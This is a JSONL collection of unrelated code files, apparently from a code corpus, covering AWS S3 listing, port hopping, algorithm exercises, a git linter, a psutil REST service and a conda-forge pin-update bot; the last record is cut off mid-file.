+{"seq_id":"469150083","text":"import boto3\nimport json\nimport pprint\n\nsession = boto3.Session(profile_name='master')\nclient = session.client('s3')\n\nresponse = client.list_buckets()\npprint.pprint(response)\n\nbucket_names = []\nfor bucket in response['Buckets']:\n bucket_names.append(bucket['Name'])\n print(bucket_names)\n\n# Create a dictionary to hold the lists of object (file) names\nbucket_objects = {}\n# Loop through each bucket we found\nfor bucket in bucket_names:\n # Run our first API call to pull in the objects\n response = client.list_objects_v2(Bucket=bucket, MaxKeys=1000)\n # Check if there are any objects returned (none will return if no objects are in the bucket)\n if response.get('Contents'):\n # Store the fetched set of objects\n bucket_objects[bucket] = response['Contents']\n else:\n bucket_objects[bucket] = []\n continue\n \nwhile response['IsTruncated']:\n response = client.list_objects_v2(Bucket=bucket, MaxKeys=1000,\n continuationToken=response['NextContinuationToken'])\n bucket_objects[bucket].extend(response['Contents'])\n\n # We know bucket_objects has a key for each bucket so let's iterate that\n\nfor bucket in bucket_names:\n # Open up a local file with the name of the bucket\n with open('./{}.txt'.format(bucket), 'w+') as f:\n # Iterate through each object in the bucket\n for bucket_object in bucket_objects[bucket]:\n # Write a line to our file with the object details we are\n # interested in (file name and size)\n f.write('{} ({} bytes)\\n'.format(bucket_object['Key'],\n bucket_object['Size']))\n\n\n","sub_path":"iam/s3.py","file_name":"s3.py","file_ext":"py","file_size_in_byte":1600,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"572177195","text":"import random\r\n\r\nfrom flask import session\r\nfrom flask_socketio import emit\r\n\r\n\r\ndef register_handlers(socketio):\r\n @socketio.on('check_my_sanity')\r\n def sanity_handler():\r\n response = f'{random.choice([\"green\", \"red\", \"yellow\"])} {random.choice([\"dog\", \"cat\", \"goose\"])}'\r\n print(f'[INFO] You are sane! Response: {response}')\r\n emit('sanity_response', {'sane_animal': response})\r\n\r\n\r\n @socketio.on('check_user_sanity')\r\n def user_sanity_handler():\r\n user = session.get('username', 'unknown')\r\n if user == 'unknown':\r\n print(f'[WARN] User unknown!')\r\n else:\r\n print(f'[INFO] User {user} seems to be sane!')\r\n emit('sanity_response', {'username': user})\r\n","sub_path":"app/server/ws_sanity_check.py","file_name":"ws_sanity_check.py","file_ext":"py","file_size_in_byte":737,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"398419416","text":"import hashlib\nfrom collections import OrderedDict\nfrom random import random, randint\n\nfrom InternalLogger.internallogger import InternalLogger\nfrom controller.ph_function.iphfunction import IPhFunction\nfrom datetime import datetime\n\n\nclass RpahFunction(IPhFunction):\n \"\"\"\n RPAH inspired Port Hopping Function\n \"\"\"\n def __init__(self, hopping_period, max_buffer):\n \"\"\"\n\n :param hopping_period: Hopping Period in Seconds\n :param max_buffer: Maximum Hash Buffer\n \"\"\"\n super().__init__()\n self._hopping_period = hopping_period\n self._hash_buffer = OrderedDict()\n self._max_buffer = max_buffer\n\n def real_port_to_vport(self, r_port, client_ip, client_key):\n \"\"\"\n\n :param r_port: Int, Real Port\n :param client_ip: String, Client IP Address\n :param client_key: String, Client PreShared Key\n :return: Virtual Port, Int\n \"\"\"\n t = self.get_T()\n h = self.get_hash(t, client_key, client_ip)\n v_port = h ^ r_port\n InternalLogger.get().debug(\"RPAH vPort =\" + str(v_port))\n return v_port\n\n def virtual_port_to_rport(self, v_port, client_ip, client_key):\n \"\"\"\n\n :param v_port: Int, Virtual Port\n :param client_ip: String, Client IP Address\n :param client_key: String, Client PreShared Key\n :return: Real Port, Int\n \"\"\"\n t = self.get_T()\n h = self.get_hash(t, client_key, client_ip)\n r_port = h ^ v_port\n InternalLogger.get().debug(\"RPAH rPort =\" + str(r_port))\n return r_port\n\n def get_T(self):\n \"\"\"\n get T, time interval value\n :return: T\n \"\"\"\n now = datetime.now()\n timestamp = datetime.timestamp(now)\n #random time\n #timestamp = timestamp + (randint(-3, 3) / 10)\n\n return int(timestamp / self._hopping_period)\n\n def get_hash(self, t, key, client_ip):\n \"\"\"\n\n :param t: t = T = Time Interval Value\n :param key: PSK\n :param client_ip: IP of the Client\n :return: Hash\n \"\"\"\n\n #Search in Buffer first\n InternalLogger.get().debug(\"Searching for hash in buffer\")\n hash_int = self._hash_buffer.get((t, key, client_ip))\n if hash_int is not None:\n InternalLogger.get().debug(\"Found hash in buffer\")\n self._hash_buffer.move_to_end((t, key, client_ip), last=False)\n return hash_int\n\n # Generate\n InternalLogger.get().debug(\"Trying to generate hash\")\n h = hashlib.blake2b(digest_size=2) # optimized for 64 bit\n h.update(bytes(t))\n h.update(key.encode())\n h.update(client_ip.encode())\n hash_result = h.digest()\n hash_int = int.from_bytes(hash_result, byteorder='big', signed=False)\n\n # Save to buffer\n self._hash_buffer[(t, key, client_ip)] = hash_int\n self._hash_buffer.move_to_end((t, key, client_ip), last=False) # move to the beginning\n # Cleanup\n while(len(self._hash_buffer) > self._max_buffer):\n #remove first element(s)\n self._hash_buffer.popitem(last=True)\n return hash_int\n","sub_path":"MTG/controller/ph_function/rpahfunction.py","file_name":"rpahfunction.py","file_ext":"py","file_size_in_byte":3191,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"185678419","text":"s = input().split()\n\na = int(s[0])\nb = int(s[1])\nc = int(s[2])\n\ncheck = False\n\nfor i in range(b):\n p = a * i\n if p % b == c:\n check = True\n break\n\nif check:\n print('YES')\nelse:\n print('NO')\n","sub_path":"Python_codes/p03730/s219610080.py","file_name":"s219610080.py","file_ext":"py","file_size_in_byte":216,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"598706773","text":"# 动态规划,最长上升子序列\ndef DynamicProgramming(nums: list[int]):\n if not nums:\n return 0\n n = len(nums)\n dp = [1] * (n + 1)\n # 首先考虑前i个的最大dp\n for i in range(n):\n for j in range(i):\n dp[i] = max(dp[i], dp[j] + 1)\n\n return max(dp)\n\n\n# 贪心+二分查找,要使得上升序列尽可能长,就要让序列上升的尽可能慢\n# 求子序列长度,而不是顺序输出,所以可以插入,结果还是长度3。\nclass Solution:\n def lengthOfLIS(self, nums: List[int]) -> int:\n ans = []\n for n in nums:\n if not ans or n > ans[-1]:\n ans.append(n)\n else:\n left = 0\n right = len(ans) - 1\n pos = right\n\n while left <= right:\n mid = left + (right - left) // 2\n if ans[mid] >= n:\n pos = mid\n right = mid - 1\n else:\n left = mid + 1\n\n ans[pos] = n\n\n return len(ans)\n","sub_path":"DP&Greddy/lengthOfLIS.py","file_name":"lengthOfLIS.py","file_ext":"py","file_size_in_byte":1097,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"533931850","text":"# Definition for singly-linked list.\nclass ListNode:\n def __init__(self, x):\n self.val = x\n self.next = None\n\nclass Solution:\n def partition(self, head,x):\n # 双链表实现,小于x的组成一���表,大于x的组成另一链表,然后两链表拼接\n if not head:\n return None\n #初始化\n fnode = ListNode(-1)\n snode = ListNode(-1)\n first = fnode\n second = snode\n while head:\n if head.val < x:\n first.next = head\n first = first.next\n else:\n second.next = head\n second = second.next\n #在原始的列表中继续\n head = head.next\n #如果分配正确后,组合成一个列表并返回。\n first.next = snode.next\n #second的最后一个节点修改为节点的结束\n second.next = None\n\n return fnode.next\n\nif __name__==\"__main__\":\n S=Solution()\n head=[1,2,2,3,5,2]\n x=3\n print(S.partition(head,x))","sub_path":"lianbiao/fenge_Link/fenge.py","file_name":"fenge.py","file_ext":"py","file_size_in_byte":1050,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"335086713","text":"import NeuralNet\nimport Game\n\n\nclass AI:\n def __init__(self):\n self.net = NeuralNet.NeuralNet()\n self.game = Game.Game()\n\n def randomize(self):\n self.net.randomize()\n\n def mutate(self):\n self.net.mutate()\n\n def reset(self):\n self.game.score = 0\n self.game = Game.Game()\n\n def evaluate(self):\n out = self.net.calculate(self.game.gridsinglearray())\n maximum = -1\n action = \"\"\n if out[0] > maximum:\n action = \"right\"\n maximum = out[0]\n if out[1] > maximum:\n action = \"left\"\n maximum = out[1]\n if out[2] > maximum:\n action = \"up\"\n maximum = out[2]\n if out[3] > maximum:\n action = \"down\"\n\n if action == \"right\":\n output = self.game.right()\n if action == \"left\":\n output = self.game.left()\n if action == \"up\":\n output = self.game.up()\n if action == \"down\":\n output = self.game.down()\n\n return output\n","sub_path":"AI.py","file_name":"AI.py","file_ext":"py","file_size_in_byte":1056,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"128366021","text":"import configparser\nimport typer\nimport os\nfrom pygit2 import discover_repository\nimport collections\nfrom pygit2 import Repository, Commit\nfrom pygit2 import GIT_SORT_TOPOLOGICAL\nimport git_lint_branch.cfg as cfg\nfrom git_lint_branch.linter_output import *\nfrom git_lint_branch.single import single_linters\nfrom git_lint_branch.multi import multi_linters\n\n\napp = typer.Typer()\n\n\"\"\"\nFrom: https://stackoverflow.com/questions/16108285/correct-way-to-iterate-twice-over-a-list?rq=1\n\"\"\"\n\n\ndef tosequence(it):\n \"\"\"Turn iterable into a sequence, avoiding a copy if possible.\"\"\"\n if not isinstance(it, collections.Sequence):\n it = list(it)\n return it\n\nclass Printer:\n def __init__(self, verbose: bool = True):\n # self._single_data = typer.style('+++ ', fg=typer.colors.CYAN)\n # self._single_data += typer.style('Linting your commits:\\n', fg=typer.colors.BRIGHT_CYAN, bold=True, underline=True)\n self._verbose = verbose\n\n self._single_data = ''\n self._commit_str = ''\n\n self._multiple_data = ''\n\n def add_commit(self, commit: Commit):\n self._commit_str = typer.style(f'\\nCOMMIT: {commit.id}\\n', fg=typer.colors.BRIGHT_CYAN, bold=True)\n self._commit_str += typer.style(f'TITLE: {commit.message.splitlines()[0]}\\n', fg=typer.colors.BRIGHT_CYAN, bold=True)\n\n def add_single_linter(self, linter: LinterOutput):\n self._single_data += self._commit_str\n self._commit_str = ''\n\n self._single_data += linter.pretty_str(self._verbose)\n\n def add_multiple_linter(self, linter: LinterOutput):\n self._multiple_data += linter.pretty_str(self._verbose)\n\n def show(self):\n final_str = ''\n if len(self._single_data) > 0:\n final_str += typer.style('+++ ', fg=typer.colors.GREEN)\n final_str += typer.style('Linting your commits:\\n', fg=typer.colors.BRIGHT_GREEN, bold=True, underline=True)\n\n final_str += self._single_data\n\n if len(self._multiple_data) > 0:\n final_str += typer.style('\\n+++ ', fg=typer.colors.GREEN)\n final_str += typer.style('Linting your commit history:\\n', fg=typer.colors.BRIGHT_GREEN, bold=True, underline=True)\n\n final_str += self._multiple_data\n\n typer.echo(final_str)\n\n\n@app.command()\ndef main(\n upstream: str,\n verbose: bool = typer.Option(True, help=\"Display suggestions on how to fix issues\")\n ):\n \"\"\"\n Lints the commit history reachable from the current HEAD that is not\n on UPSTREAM (i.e., the current branch).\n \"\"\"\n repo_path = discover_repository(os.getcwd())\n if repo_path is None:\n typer.echo('fatal: not a git repository (or any of the parent directories)', err=True)\n raise typer.Exit(code=1)\n cfg.repo = Repository(repo_path)\n config_file_path = os.path.join(repo_path, \"..\", \".git-lint-branch\")\n if os.path.isfile(config_file_path):\n cfg.config = configparser.ConfigParser()\n cfg.config.read(config_file_path, encoding=\"utf-8\")\n else:\n cfg.config = configparser.ConfigParser()\n\n try:\n cfg.upstream = cfg.repo.revparse_single(upstream)\n except KeyError:\n typer.echo(f'fatal: UPSTREAM {upstream} not found or not reachable', err=True)\n raise typer.Exit(code=1)\n\n walker = cfg.repo.walk(cfg.repo.head.target, GIT_SORT_TOPOLOGICAL)\n walker.hide(cfg.upstream.id)\n walker = tosequence(walker)\n\n printer = Printer(verbose=verbose)\n\n for commit in walker:\n printer.add_commit(commit)\n\n for linter in single_linters:\n lint_result = linter(commit)\n if lint_result.level is not LinterLevel.Empty:\n printer.add_single_linter(lint_result)\n\n\n for linter in multi_linters:\n lint_result = linter(walker)\n if lint_result.level is not LinterLevel.Empty:\n printer.add_multiple_linter(lint_result)\n\n printer.show()\n","sub_path":"git_lint_branch/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3912,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"14525049","text":"import sys\n\nsys.stdin = open(\"4875.txt\")\n\nt = int(input())\n\ndy = [-1,1,0,0]\ndx = [0,0,-1,1]\n\ndef issafe(y,x):\n\tglobal n\n\tif y >= 0 and y < n and x >=0 and x < n and data[y][x] != 1:\n\t\treturn True\n\telse:\n\t\treturn False\n\ndef miro(start_y,start_x):\n\tqueue = []\n\n\tqueue.append((start_y,start_x))\n\n\twhile queue:\n\t\ttemp = queue.pop(0)\n\t\ty = temp[0]\n\t\tx = temp[1]\n\t\tprint(y,x)\n\t\tif data[y][x] != 1:\n\t\t\tdata[y][x] = 1\n\n\t\tfor dir in range(4):\n\t\t\tif issafe(y + dy[dir], x + dx[dir]) and (y + dy[dir], x + dx[dir]) not in queue:\n\t\t\t\tqueue.append((y + dy[dir], x + dx[dir]))\n\nfor tc in range(1,t+1):\n\n\tn = int(input())\n\tdata = []\n\tfor i in range(n):\n\t\tdata.append(list(map(int,input())))\n\n\tfor y in range(5):\n\t\tfor x in range(5):\n\t\t\tif data[y][x] == 2:\n\t\t\t\tstart_y = y\n\t\t\t\tstart_x = x\n\t\t\telif data[y][x] == 3:\n\t\t\t\tend_y = y\n\t\t\t\tend_x = x\n\n\tmiro(start_y, start_x)\n\n\tif data[end_y][end_x] == 1:\n\t\tprint(f'#{tc} 1')\n\telse:\n\t\tprint(f'#{tc} 0')","sub_path":"algo/190226/4_swea_4875_mirobfs.py","file_name":"4_swea_4875_mirobfs.py","file_ext":"py","file_size_in_byte":927,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"418469287","text":"# -*- coding: utf-8 -*-\n\nfrom setuptools import setup, find_packages\n\n\nwith open('README.md') as f:\n readme = f.read()\n\nsetup(\n name='sample',\n version='0.1.0',\n description='Sample package for Verificacion y Desarrollo',\n long_description=readme,\n author='Enrique Sanchez',\n author_email='enrique.sanchez@u-tad.live.com',\n packages=find_packages(exclude=('tests', 'docs'))\n)","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":399,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"547395279","text":"\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\n\n\n@torch.no_grad()\ndef convert_to_one_hot(x, minleng, ignore_idx=-1):\n '''\n encode input x into one hot\n inputs:\n x: tensor of shape (N, ...) with type long\n minleng: minimum length of one hot code, this should be larger than max value in x\n ignore_idx: the index in x that should be ignored, default is 255\n\n return:\n tensor of shape (N, minleng, ...) with type float\n '''\n device = x.device\n # compute output shape\n size = list(x.size())\n size.insert(1, minleng)\n assert x[x != ignore_idx].max() < minleng, \"minleng should larger than max value in x\"\n\n if ignore_idx < 0:\n out = torch.zeros(size, device=device).scatter_(1, x.unsqueeze(1), 1)\n else:\n # overcome ignore index\n x = x.clone().detach()\n ignore = x == ignore_idx\n x[ignore] = 0\n out = torch.zeros(size, device=device).scatter_(1, x.unsqueeze(1), 1)\n ignore = ignore.nonzero(as_tuple=False)\n _, M = ignore.size()\n a, *b = ignore.chunk(M, dim=1)\n out[[a, torch.arange(minleng), *b]] = 0\n return out\n\n\ndef convert_to_one_hot_cu(x, minleng, smooth=0., ignore_idx=-1):\n '''\n cuda version of encoding x into one hot, the difference from above is that, this support label smooth.\n inputs:\n x: tensor of shape (N, ...) with type long\n minleng: minimum length of one hot code, this should be larger than max value in x\n smooth: sets positive to **1. - smooth**, while sets negative to **smooth / minleng**\n ignore_idx: the index in x that should be ignored, default is 255\n\n return:\n tensor of shape (N, minleng, ...) with type float32\n '''\n import one_hot_cpp\n return one_hot_cpp.label_one_hot(x, ignore_idx, smooth, minleng)\n\n\n\nclass OnehotEncoder(nn.Module):\n\n def __init__(\n self,\n n_classes,\n lb_smooth=0.,\n ignore_idx=-1,\n ):\n super(OnehotEncoder, self).__init__()\n self.n_classes = n_classes\n self.lb_smooth = lb_smooth\n self.ignore_idx = ignore_idx\n\n @ torch.no_grad()\n def forward(self, label):\n return convert_to_one_hot_cu(\n label, self.n_classes, self.lb_smooth, self.ignore_idx).detach()\n\n\nif __name__ == \"__main__\":\n x = torch.randint(0, 3, (3, 4))\n print(x)\n x[1, 1] = 4\n print(x)\n out = convert_to_one_hot(x, minleng=4, ignore_idx=4)\n print(out)\n\n x = torch.randint(0, 3, (3, 4)).cuda()\n smooth = 0.1\n out = convert_to_one_hot_cu(x, minleng=4, smooth=smooth, ignore_idx=4)\n print(out)\n","sub_path":"pytorch_loss/one_hot.py","file_name":"one_hot.py","file_ext":"py","file_size_in_byte":2654,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"83979561","text":"from selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\n\ndriver = webdriver.Chrome()\ndriver.get(\"https://login.taobao.com/?style=mini&full_redirect=true&newMini2=true&from=databank&sub=true&redirectURL=https://databank.tmall.com/\")\nelemButton = driver.find_element_by_xpath('//*[@id=\"J_Quick2Static\"]')\nelemButton.click()\nelem = driver.find_element_by_id(\"TPL_username_1\")\nelem.clear()\nelem.send_keys(\"pycon\")\nelem.send_keys(Keys.RETURN)\nassert \"No results found.\" not in driver.page_source\n","sub_path":"pythonOrg.py","file_name":"pythonOrg.py","file_ext":"py","file_size_in_byte":514,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"203637110","text":"from django.urls import path\nfrom . import views\nfrom django.conf.urls import include, url\n\nfrom connectedwe.users.views import (\n user_list_view,\n user_redirect_view,\n user_update_view,\n user_detail_view,\n)\n\napp_name = \"users\"\nurlpatterns = [\n path(\"\", view=user_list_view, name=\"list\"),\n path(\"explore/\", views.UserView.as_view(), name=\"explore_user\"),\n path(\"new/\", views.CreateNewUser.as_view(), name=\"create_new_user\"),\n path(\"followers/\", views.GetFollowersList.as_view(), name=\"followerlist\"),\n path(\"following/\", views.GetFollowingList, name=\"followinglist\"),\n path(\"search/\", views.SearchByUsername.as_view(), name=\"searchByUsername\"),\n path(\"id/\", views.UserIdView.as_view(), name=\"getMyUserId\"),\n path(\"notifications/\", views.NotificationView.as_view(), name=\"get_notification_count\"),\n path(\"~redirect/\", view=user_redirect_view, name=\"redirect\"),\n path(\"~update/\", view=user_update_view, name=\"update\"),\n path(\"/\", view=user_detail_view, name=\"detail\"),\n path(\"/profile/\", views.ProfileView.as_view(), name=\"user_profile\"),\n path(\"/follow/\", views.FollowView.as_view(), name=\"follow_user\"),\n path(\"/unfollow/\", views.FollowView.as_view(), name=\"unfollow_user\"),\n path(\"/edit/\", views.ProfileView.as_view(), name=\"edit_user_profile\"),\n path(\"/password/\", views.PasswordView.as_view(), name=\"edit_password\"),\n \n \n]\n\n\n#\n\n#{\n# \"username\": \"username\",\n# \"name\": \"name\",\n# \"password1\": \"password1\",\n# \"password2\": \"password2\",\n# \"phone\": \"01012341234\",\n# \"gender\": \"male\"\n#}\n#\n","sub_path":"connectedwe/users/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1647,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"600377048","text":"import sys\ninput = raw_input\ndef answer0(n, k, c):\n answer = 0\n for i in range(1, n):\n for j in range(i + 1, n + 1):\n answer += (j - i) * k + c\n return answer\n\ndef answer(n, k, c):\n '''sum1 = k * (n * (n ** 2 - 1) / 2)\n print(sum1)\n sum1 -= k * (n * (n - 1) / 4)\n print(sum1)\n sum1 -= k * (n * (n - 1) * (2 * n - 1) / 12)\n print(sum1)\n '''\n sum1 = k * (n * (n ** 2 - 1)) // 2\n #print(sum1)\n sum1 -= k * n * (n - 1) * (2 * n + 2) // 12\n #print(sum1)\n #print('=' * 10)\n sum2 = (- 1) * k * (n ** 2 * (n - 1) // 2)\n sum2 += k * (n * (n - 1) * (2 * n - 1) // 6)\n sum3 = c * (n * (n - 1) / 2)\n #print(sum1, sum2, sum3)\n return int(sum1 + sum2 + sum3)\n\nT = int(input().strip())\nfor a0 in range(T):\n N,K,C = input().strip().split(' ')\n N,K,C = [int(N),int(K),int(C)]\n print(answer(N, K, C) % (10 ** 9 + 9))","sub_path":"competitions/old_competitions/holiday_cup_2/super_highways.py","file_name":"super_highways.py","file_ext":"py","file_size_in_byte":885,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"306158639","text":"from os import getenv\nfrom dotenv import load_dotenv\n\nload_dotenv()\n\nDB_NAME = getenv(\"DB_NAME\")\nDB_USER = getenv(\"DB_USER\")\nDB_HOST = getenv(\"DB_HOST\")\nDB_PSWD = getenv(\"DB_PSWD\")\nSENDGRID_API_KEY = getenv(\"SENDGRID_API_KEY\")","sub_path":"app/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":226,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"382565377","text":"from eve import Eve\nimport json\nimport psutil\n\nguide = \"Eve REST\\n\"\\\n \"System info that is available:\\n\"\\\n \" all\\n mem\\n disk\\n user\\n\"\\\n \"Example: http://127.0.0.1:5000/info/disk \"\\\n\nprint(guide)\n\napp = Eve()\n\n\n#Format data for output\ndef output(data):\n format = json.dumps(data, indent=4)+\"\\n\"\n return format\n\n\n# Returns all information\n@app.route('/info/all', methods=['GET'])\ndef all():\n ALL = {\n \"TOTAL RAM\": psutil.virtual_memory().total,\n \"USED RAM\": psutil.virtual_memory().used,\n \"AVAILABLE RAM\": psutil.virtual_memory().available,\n \"TOTAL DISK\": psutil.disk_usage('/').total,\n \"USED DISK\": psutil.disk_usage('/').used,\n \"AVAILABLE DISK\": psutil.disk_usage('/').free,\n \"CPU CORES\": psutil.cpu_count(),\n \"USED CPU\": str(psutil.cpu_percent()) + \"%\",\n \"USER NAME\": psutil.users()[0].name,\n \"USER TERMINAL\": psutil.users()[0].terminal\n }\n return output(ALL)\n\n\n# Returns USER info\n@app.route(\"/info/user\", methods=['GET'])\ndef user():\n user = {\n \"USER NAME\": psutil.users()[0].name,\n \"USER TERMINAL\": psutil.users()[0].terminal\n }\n return output(user)\n\n# Returns RAM info\n@app.route('/info/mem', methods=['GET'])\ndef mem():\n mem = {\n \"TOTAL RAM\": psutil.virtual_memory().total,\n \"USED RAM\": psutil.virtual_memory().used,\n \"AVAILABLE RAM\": psutil.virtual_memory().available\n }\n return output(mem)\n\n# Returns DISK info\n@app.route(\"/info/disk\", methods=['GET'])\ndef disk():\n disk = {\n \"TOTAL DISK\": psutil.disk_usage('/').total,\n \"USED DISK\": psutil.disk_usage('/').used,\n \"AVAILABLE DISK\": psutil.disk_usage('/').free\n }\n \n return output(disk)\n\n\n\nif __name__ == '__main__':\n app.run()\n","sub_path":"rest/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":1810,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"312281177","text":"#!/usr/bin/env conda-execute\n\n# conda execute\n# env:\n# - python\n# - conda-smithy\n# - gitpython\n# - pygithub\n# channels:\n# - conda-forge\n# run_with: python\n\nimport os\nimport time\nimport argparse\nfrom contextlib import contextmanager\nimport textwrap\nimport random\nimport re\n\nimport git\nimport github\n\nimport conda_smithy.github\nimport conda_smithy.configure_feedstock\nimport conda_smithy\n\nimport conda_smithy.feedstocks as feedstocks\n\n\npinned = {\n 'boost': 'boost 1.61.*',\n 'bzip2': 'bzip2 1.0.*',\n 'fontconfig': 'fontconfig 2.11.*',\n 'freetype': 'freetype 2.6.*',\n 'hdf5': 'hdf5 1.8.17|1.8.17.*',\n 'icu': 'icu 56.*',\n 'jpeg': 'jpeg 9*',\n 'libnetcdf': 'libnetcdf 4.4.*',\n 'libpng': 'libpng >=1.6.21,<1.7',\n 'libtiff': 'libtiff 4.0.*',\n 'ncurses': 'ncurses 5.9*',\n 'openssl': 'openssl 1.0.*',\n 'readline': 'readline 6.2*',\n 'sqlite': 'sqlite 3.13.*',\n 'tk': 'tk 8.5.*',\n 'xz': 'xz 5.2.*',\n 'zlib': 'zlib 1.2.*',\n }\n\nparser = argparse.ArgumentParser(description='Propose a feedstock update.')\nparser.add_argument('--feedstocks-dir', help=\"The location of the feedstocks.\",\n default=\"~/dev/conda-forge/feedstocks\")\nparser.add_argument('--regexp', help=\"Regexp of feedstocks to consider.\",\n default=\".*\")\nparser.add_argument('--limit', help=\"Limit the number of packages to propose changes for (0 is unlimited).\",\n default=1, type=int)\nargs = parser.parse_args()\n\nfeedstocks_dir = os.path.expanduser(args.feedstocks_dir)\nchange_limit = args.limit\n\n#feedstocks.clone_all('conda-forge', feedstocks_dir)\n#feedstocks.fetch_feedstocks(feedstocks_dir)\n\nregexp = re.compile(args.regexp)\nrandomised_feedstocks = [feedstock for feedstock in feedstocks.cloned_feedstocks(feedstocks_dir)\n if regexp.match(feedstock.package)]\nrandomised_feedstocks = [feedstock for feedstock in randomised_feedstocks if feedstock.package not in ['boost', 'gdal', 'git', 'pandoc']]\n# Shuffle is in-place. :(\nrandom.shuffle(randomised_feedstocks)\n\ngh_token = conda_smithy.github.gh_token()\ngh = github.Github(gh_token)\n\ngh_me = gh.get_user()\n\nif gh_me.login != 'conda-forge-admin':\n raise ValueError(\"The github token isn't that of conda-forge-admin (it's \"\n \"for {}), I'm going to have to bail.\".format(gh_me.login))\n\ngh_forge = gh.get_organization('conda-forge')\n\n\ndef my_repos(gh_user):\n \"\"\"\n List all of my repos.\n See https://github.com/PyGithub/PyGithub/issues/390 for rationale.\n\n \"\"\"\n return github.PaginatedList.PaginatedList(\n github.Repository.Repository,\n gh_user._requester,\n gh_user.url + \"/repos\",\n dict(affiliation=\"owner\"))\n\n\ndef list_pulls(repo, state='open', head=None):\n \"\"\"\n List all of the pull requests that match the given critera.\n\n At the time of writing, pygithub doesn't allow you to specify the head,\n so I had to create this function.\n\n \"\"\"\n url_parameters = dict(state=state)\n if head:\n url_parameters['head'] = head\n return github.PaginatedList.PaginatedList(\n github.PullRequest.PullRequest,\n repo._requester,\n repo.url + \"/pulls\",\n url_parameters\n )\n\n\n# Set to false to debug.\nif True:\n print(\"Collecting list of conda-forge-admin repos...\")\n my_repos = {repo.name: repo for repo in my_repos(gh_me)}\n print(\"Collecting list of conda-forge repos...\")\n forge_repos = {repo.name: repo for repo in gh_forge.get_repos()}\n\n # TODO: Maybe we should sort the feedstocks into dependency order.\nelse:\n # For debugging, we turn our attention to a single feedstock.\n debug_name = 'libtiff-feedstock'\n debug_name = 'bob.io.image-feedstock'\n debug_name = 'expat-feedstock'\n try:\n my_repos = {debug_name: gh_me.get_repo(debug_name)}\n except github.UnknownObjectException:\n # We haven't forked it yet!\n my_repos = {}\n forge_repos = {debug_name: gh_forge.get_repo(debug_name)}\n randomised_feedstocks = [feedstock for feedstock in randomised_feedstocks\n if feedstock.name == debug_name]\n\n\n@contextmanager\ndef tmp_remote(repo, remote_name, url):\n if remote_name in [remote.name for remote in repo.remotes]:\n repo.delete_remote(remote_name)\n remote = repo.create_remote(remote_name, url)\n yield remote\n repo.delete_remote(remote_name)\n\n\n@contextmanager\ndef create_update_pr(clone, remote_head, fork_remote, upstream_remote):\n target_branch = 'feedstock_version_pin_{}'.format(remote_head)\n if target_branch in clone.heads:\n # Detatch the head\n clone.head.reference = clone.commit('upstream/master')\n clone.delete_head(target_branch, '-D')\n clone.create_head(target_branch, upstream_remote.refs[remote_head]).set_tracking_branch(upstream_remote.refs[remote_head])\n\n # Reset the working tree to a clean state.\n clone.head.reset(index=True, working_tree=True)\n clone.heads[target_branch].checkout()\n\n # It is at this point we pass context back to the caller so that they can\n # do whatever they like to the repo (like rerender the feedstock).\n context = []\n yield context\n\n # If nothing was done, don't need a PR!\n has_change = True\n if not clone.is_dirty():\n # We don't need this feedstock - it is slap-bang up to date. :)\n print(\"{} was checked, and is up-to-date\".format(feedstock.name))\n has_change = False\n\n if has_change:\n clone.git.add('-A')\n author = git.Actor(gh_me.login, gh_me.email)\n commit = clone.index.commit(\"MNT: Updated some of the pinned versions\",\n author=author)\n\n change_from_remote_branch = True\n full_ref = '{}/{}'.format(fork_remote.name, target_branch)\n\n if full_ref in [ref.name for ref in fork_remote.refs]:\n diff = commit.diff(fork_remote.refs[target_branch])\n if not diff:\n # There were no differences between this and the remote targt branch, so just continue.\n print(\"{} was checked, and whilst there are changes needed, the branch ({}) is up-to-date\".format(feedstock.name, target_branch))\n change_from_remote_branch = False\n\n fork_remote.push('+{}'.format(target_branch))\n\n if change_from_remote_branch:\n fork_remote.push('+{}'.format(target_branch))\n\n pull_requests = list(list_pulls(forge_feedstock, state='open', head='{}:{}'.format(gh_me.login, target_branch)))\n\n if pull_requests:\n pull = pull_requests[0]\n msg = textwrap.dedent(\"\"\"\n It's the friendly automated conda-forge-admin here again.\n\n Just to let you know, I've updated this PR so that it has the latest pinned versions.\n\n If there are no problems with it, please consider merging this PR.\n If there are concerns about it, please ping the 'conda-forge/core' team (using the @ notation in a comment).\n\n Thanks!\n \"\"\".format(conda_smithy.__version__))\n pull.create_issue_comment(msg)\n print('Updated PR on {}'.format(pull.html_url))\n else:\n msg = textwrap.dedent(\"\"\"\n Hi! This is the friendly conda-forge-admin automated user.\n\n I've bumped some of the conda-forge pinned versions, and noticed that it impacts this feedstock.\n If the changes look good, then please go ahead and merge this PR.\n If you have any questions about the changes though, please feel free 